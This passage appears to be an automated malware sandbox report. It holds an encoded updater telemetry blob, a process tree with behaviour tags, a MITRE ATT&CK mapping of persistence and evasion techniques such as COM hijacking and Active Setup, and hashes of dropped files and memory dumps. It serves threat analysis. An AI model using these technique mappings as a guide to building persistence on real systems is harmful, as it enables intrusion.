j0iIiBjZG5fYXp1cmVfcmVmX29yaWdpbl9zaGllbGQ9IiIgY2RuX2NhY2hlPSIiIGNkbl9wM3A9IiIgZG93bmxvYWRlZD0iMTc3MTgwMjE2IiB0b3RhbD0iMTc3MTgwMjE2IiBkb3dubG9hZF90aW1lX21zPSI0NjQwNDYiLz48ZXZlbnQgZXZlbnR0eXBlPSIxNCIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iOTg0ODc4MjM3MSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjE1IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI5ODYyNjg4NTQwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMyIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTk2NzU3IiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMDg5OTg3NjE1MyIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9IjI3OTYiIGRvd25sb2FkX3RpbWVfbXM9IjQ3MDM5MSIgZG93bmxvYWRlZD0iMTc3MTgwMjE2IiB0b3RhbD0iMTc3MTgwMjE2IiBwYWNrYWdlX2NhY2hlX3Jlc3VsdD0iMCIgaW5zdGFsbF90aW1lX21zPSIxMDM3MTgiLz48cGluZyBhY3RpdmU9IjEiIGE9IjQiIHI9IjQiIGFkPSI2NjEyIiByZD0iNjYxMiIgcGluZ19mcmVzaG5lc3M9Ins2MEM3NUFFOC1ERkRBLTRGMUEtOENENy02MTA2Mjk3RjI2REN9Ii8-PC9hcHA-PGFwcCBhcHBpZD0ie0YzMDE3MjI2LUZFMkEtNDI5NS04QkRGLTAwQzNBOUE3RTRDNX0iIHZlcnNpb249IjEzMi4wLjI5NTcuMTQwIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iNCIgaW5zdGFsbGRhdGU9IjY2MDgiIGNvaG9ydD0icnJmQDAuMTQiPjx1cGRhdGVjaGVjay8-PHBpbmcgcj0iNCIgcmQ9IjY2MTIiIHBpbmdfZnJlc2huZXNzPSJ7M0QzQjg3NjEtQzUwNi00RDIwLUI0NTktNjYzN0JFMDA2ODIzfSIvPjwvYXBwPjwvcmVxdWVzdD4
              1⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:1396
            • C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe
              "C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub prelaunch
              1⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:5088
            • C:\Windows\system32\wwahost.exe
              "C:\Windows\system32\wwahost.exe" -ServerName:Microsoft.MicrosoftOfficeHub.wwa
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:3124

            Network

            MITRE ATT&CK Enterprise v15

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Active Setup

            1
            T1547.014

            Browser Extensions

            1
            T1176

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Active Setup

            1
            T1547.014

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Defense Evasion

            Modify Registry

            4
            T1112

            Credential Access

            Discovery

            Query Registry

            2
            T1012

            System Information Discovery

            2
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            1
            T1016

            Internet Connection Discovery

            1
            T1016.001

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe
              Filesize

              6.6MB

              MD5

              b4c8ad75087b8634d4f04dc6f92da9aa

              SHA1

              7efaa2472521c79d58c4ef18a258cc573704fb5d

              SHA256

              522a25568bb503cf8b44807661f31f0921dee91d37691bf399868733205690bf

              SHA512

              5094505b33a848badcffd6b3b93aad9ad73f391e201dee052376c4f8573ba351f0b8c102131216088ffb38d0ed7b5fe70ba95c3ac2c33a50c993584fe7c435e3

              Download Submit

            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              Filesize

              3.7MB

              MD5

              3646786aea064c0845f5bb1b8e976985

              SHA1

              a31ba2d2192898d4c0a01511395bdf87b0e53873

              SHA256

              a129a6de7b90500483226192b260eaca1ee116a007771d421aa3eee38af48d6f

              SHA512

              145f8abf2ecffd8ecc3745dbd9ab2e360826fa46d6f21dbebece7802b9b5980f4ab19e2dfd180ce0cfb84366f3ac5c87cd1b74a085e1a0dd620b6c097900e0f4

              Download Submit

            • C:\Program Files\Google\Chrome\updater.exe
              Filesize

              2.0MB

              MD5

              a16a669a09bf158058b83e04e69fe38e

              SHA1

              f6c94763850d9e590d86057139e8895a7aacdeea

              SHA256

              cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

              SHA512

              658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

              Download Submit

            • C:\Program Files\Google\Libs\g.log
              Filesize

              226B

              MD5

              fdba80d4081c28c65e32fff246dc46cb

              SHA1

              74f809dedd1fc46a3a63ac9904c80f0b817b3686

              SHA256

              b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

              SHA512

              b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

              Download Submit

            • C:\Program Files\msedge_installer.log
              Filesize

              69KB

              MD5

              eb7983dd32d15c10f9938ffaf099bff8

              SHA1

              1857c170cd078618498ec1da054820244df98618

              SHA256

              1fbbdf656e2b20aae1b6f3e3022a1e5f751e9802d145a9c9ba0ad123c8a3969e

              SHA512

              6a485e49d42e317a2ca387a8847d0ac78e351e26a6a2818b09b9ed3d12e7eedc72c76410682ced9c749d6f7a6e00d606c6cf7781f18b68314ec2b95d213fed32

              Download Submit

            • C:\Program Files\msedge_installer.log
              Filesize

              95KB

              MD5

              030d0abf40e2ed0a94696bb586b654cd

              SHA1

              d48edf3216a64056b5dd7ad7672ab564522f024b

              SHA256

              ba0111c2714d9947ceb1c1ce744a627dad72ac3cf98e809085b025d4d0a04755

              SHA512

              b65f3262f97372588077dceb1ff557649d58ed5b4d564f4647825087739911844b4c89639e1020515679f4acf8c7062b1f4e44a8b5d811da10036f92b73796f4

              Download Submit

            • C:\Program Files\msedge_installer.log
              Filesize

              96KB

              MD5

              65cc454c78446a99ba6e799c04946ccf

              SHA1

              5b1756a89da346c615cbcd19f6f10b228690f476

              SHA256

              bc767c5c75fea26a10dcdc97ef1fd10bfc02872453c676accf07e41db75a0134

              SHA512

              5ce8823bd3eacb72f89a1e27c31b8ab25ab0e85cd73ece5a75f22fb889c22cda66786b741d2f36f451637e688dac0154cc3415a918e1510996418d3c369a2c26

              Download Submit

            • C:\Program Files\msedge_installer.log
              Filesize

              100KB

              MD5

              39598a77ac5426e2076733d7b5be4783

              SHA1

              8f5cc580cacd8ddd4911470f8f4ea75bdfe0ed5f

              SHA256

              3116c6aa89073ab4a7c94d8c0c91c9e32f9bd4d6d0ae028cb55f2e42b01273df

              SHA512

              de0e80c7631d50731b00b8aeb76e5aae6b4c73490492dffbcac8add88d272315b24e998286389edd57a60a9778bbe005756b262c4914e01fd14f38f163b1de3c

              Download Submit

            • C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log
              Filesize

              854KB

              MD5

              227dfa6d98879d29828c87fae3b19afe

              SHA1

              a023b0b48bf586ab817b2c2cb9132c2e0ddfe22c

              SHA256

              ddcb50a0de8facbc3703527cef2cb49d30366de8fec51e77a27c1533d580e043

              SHA512

              9b5d7a97de1dfcba9f17e83732b562e83b8d9ea9f1777edd14a23e7d29a8c9d2a76996126154c508e1e88a8723a01e5f22b5b2fe675d91e37f2b6bb7894a4e63

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              440cb38dbee06645cc8b74d51f6e5f71

              SHA1

              d7e61da91dc4502e9ae83281b88c1e48584edb7c

              SHA256

              8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

              SHA512

              3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              be9965796e35a7999ce50af07f73b631

              SHA1

              dde100f3f5a51fa399755fefd49da003d887742a

              SHA256

              6ea6a56f5d5ec6f60b5a748840eed28859f792db2e37f4c1c419e3a92fc619b3

              SHA512

              45369246c8f6e80fa7a3c34db98922702e5f10e67348c94bb27f5bb241ad72cecd72ff5843a2c6b47cec390a6b9c97ba3c4d4244c62b8119ce1b2ca0c3dc3e37

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              1KB

              MD5

              f24c3d77602eb7e7e29b7edaf8d17135

              SHA1

              89c0ee7dc449abf256fe4c662fda24c1ccc550ec

              SHA256

              171f2fb38f2dcb33196cbcef1cbf0aaed871d9fbbfbb9e0980a3f2f7bd8b9ac5

              SHA512

              b3204dca83ac4d17b6ff7ce290ae3514cc9b8610831ffd773e44ac98b799d3437c108ba734db4989e17ef345c0f4ae8650b4cf54b3d26f8e0c9c445a000a15c9

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzpb20k0.ctp.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              4KB

              MD5

              bdb25c22d14ec917e30faf353826c5de

              SHA1

              6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

              SHA256

              e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

              SHA512

              b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

              Download Submit

            • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              1KB

              MD5

              b42c70c1dbf0d1d477ec86902db9e986

              SHA1

              1d1c0a670748b3d10bee8272e5d67a4fabefd31f

              SHA256

              8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

              SHA512

              57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

              Download Submit

            • memory/464-75-0x0000025CF4AF0000-0x0000025CF4AF6000-memory.dmp

              Filesize

              24KB

              Download

            • memory/464-74-0x0000025CF4AC0000-0x0000025CF4AC8000-memory.dmp

              Filesize

              32KB

              Download

            • memory/464-76-0x0000025CF4B00000-0x0000025CF4B0A000-memory.dmp

              Filesize

              40KB

              Download

            • memory/464-68-0x0000025CF4880000-0x0000025CF489C000-memory.dmp

              Filesize

              112KB

              Download

            • memory/464-69-0x0000025CF48A0000-0x0000025CF4955000-memory.dmp

              Filesize

              724KB

              Download

            • memory/464-70-0x0000025CF4960000-0x0000025CF496A000-memory.dmp

              Filesize

              40KB

              Download

            • memory/464-71-0x0000025CF4AD0000-0x0000025CF4AEC000-memory.dmp

              Filesize

              112KB

              Download

            • memory/464-72-0x0000025CF4AB0000-0x0000025CF4ABA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/464-73-0x0000025CF4B10000-0x0000025CF4B2A000-memory.dmp

              Filesize

              104KB

              Download

            • memory/1100-49-0x00007FF6E07B0000-0x00007FF6E09C1000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/1100-108-0x00007FF6E07B0000-0x00007FF6E09C1000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/2200-34-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2200-32-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2200-31-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2200-20-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2200-19-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2200-18-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/3456-16-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/3456-13-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/3456-12-0x00007FFC2C310000-0x00007FFC2CDD1000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/3456-11-0x000001EF61990000-0x000001EF619B2000-memory.dmp

              Filesize

              136KB

              Download

            • memory/3456-1-0x00007FFC2C313000-0x00007FFC2C315000-memory.dmp

              Filesize

              8KB

              Download

            • memory/4220-116-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-152-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-118-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-120-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-122-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-124-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-126-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-128-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-130-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-132-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-134-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-136-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-138-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-140-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-142-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-144-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-146-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-148-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-150-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-106-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-154-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-156-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-158-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-160-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-162-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-164-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-166-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-168-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-107-0x0000010BAF2C0000-0x0000010BAF2E0000-memory.dmp

              Filesize

              128KB

              Download

            • memory/4220-114-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-112-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4220-111-0x00007FF67D6A0000-0x00007FF67DE94000-memory.dmp

              Filesize

              8.0MB

              Download

            • memory/4504-0-0x00007FF7EFF60000-0x00007FF7F0171000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/4504-36-0x00007FF7EFF60000-0x00007FF7F0171000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/4628-110-0x00007FF78E0E0000-0x00007FF78E0F6000-memory.dmp

              Filesize

              88KB

              Download

            • memory/4628-115-0x00007FF78E0E0000-0x00007FF78E0F6000-memory.dmp

              Filesize

              88KB

              Download

            • memory/5088-636-0x000001EBD6EF0000-0x000001EBD6EFE000-memory.dmp

              Filesize

              56KB

              Download

            • memory/5088-638-0x000001EBD73E0000-0x000001EBD73E8000-memory.dmp

              Filesize

              32KB

              Download

            • memory/5088-637-0x000001EBD73B0000-0x000001EBD73BA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/5088-639-0x000001EBF1800000-0x000001EBF1A49000-memory.dmp

              Filesize

              2.3MB

              Download